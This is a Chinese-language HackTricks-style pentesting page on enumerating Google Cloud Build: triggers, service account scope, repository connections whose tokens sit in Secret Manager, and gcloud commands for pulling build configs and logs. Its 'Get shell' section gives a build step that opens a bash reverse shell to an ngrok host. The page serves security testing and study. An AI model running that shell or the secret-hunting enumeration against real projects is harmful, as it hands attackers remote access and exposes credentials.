GCP - Cloud Build Enum

支持 HackTricks

基本信息

Google Cloud Build 是一个托管的 CI/CD 平台,自动化软件构建和发布过程,集成源代码仓库并支持多种编程语言。它允许开发人员自动构建、测试和部署代码,同时提供自定义构建步骤和工作流的灵活性。

每个 Cloud Build 触发器与一个 Cloud Repository 相关联或直接连接到一个外部仓库(Github、Bitbucket 和 Gitlab)。

我没有看到任何方法可以从这里或 Cloud Repositories 窃取 Github/Bitbucket 令牌,因为当仓库被下载时,它是通过 https://source.cloud.google.com/ URL 访问的,Github 不会被客户端访问。

事件

Cloud Build 可以在以下情况下触发:

  • 推送到分支:指定分支

  • 推送新标签:指定标签

  • 拉取请求:指定接收 PR 的分支

  • 手动调用

  • Pub/Sub 消息:指定主题

  • Webhook 事件:将暴露一个 HTTPS URL,请求必须使用密钥进行身份验证

执行

有三种选项:

  • 一个 yaml/json 指定要执行的命令。通常是:/cloudbuild.yaml

  • 只有一个可以在 web 控制台和 cli 中“内联”指定

  • 最常见的选项

  • 与未经身份验证的访问相关

  • 一个 Dockerfile 来构建

  • 一个 Buildpack 来构建

SA 权限

服务账户具有 cloud-platform 范围,因此它可以使用所有权限。如果没有指定 SA(例如在提交时),将使用默认 SA <proj-number>@cloudbuild.gserviceaccount.com

默认情况下没有权限,但很容易给它一些权限:

审批

可以配置 Cloud Build 要求构建执行的审批(默认禁用)。

PR 审批

当触发器是 PR 时,因为任何人都可以对公共仓库执行 PR,仅允许任何 PR 执行触发器将非常危险。因此,默认情况下,执行将仅对所有者和协作者自动进行,并且为了执行其他用户 PR 的触发器,所有者或协作者必须评论 /gcbrun

连接和仓库

可以创建以下连接:

  • GitHub:它将显示一个 OAuth 提示,要求获取Github 令牌的权限,该令牌将存储在Secret Manager中。

  • GitHub Enterprise:它将要求安装一个 GithubApp。将从您的 GitHub Enterprise 主机创建一个身份验证令牌并存储在此项目中作为Secret Manager密钥。

  • GitLab / Enterprise:您需要提供 API 访问令牌和读取 API 访问令牌,这些令牌将存储在Secret Manager中。

一旦生成连接,您可以使用它链接 Github 账户有访问权限的仓库

此选项可通过按钮使用:

请注意,通过此方法连接的仓库仅在使用 2nd generation 的触发器中可用

连接一个仓库

这与**connection不同。这允许不同方式获取访问 Github 或 Bitbucket** 仓库的权限,但不会生成连接对象,而是生成一个仓库对象(1st generation)。

此选项可通过按钮使用:

存储

有时 Cloud Build 会生成一个新的存储来存储触发器的文件。例如在 GCP 提供的示例中会发生这种情况:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

一个名为 security-devbox_cloudbuild 的 Storage bucket 被创建来存储将要使用的 .tgz 文件。

Get shell

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
在 cloud build 中安装 gcloud:
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

枚举

你可以在构建配置和日志中找到敏感信息

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

权限提升

GCP - Cloudbuild Privesc

未经身份验证的访问

GCP - Cloud Build Unauthenticated Enum

利用后操作

GCP - Cloud Build Post Exploitation
支持 HackTricks

Last updated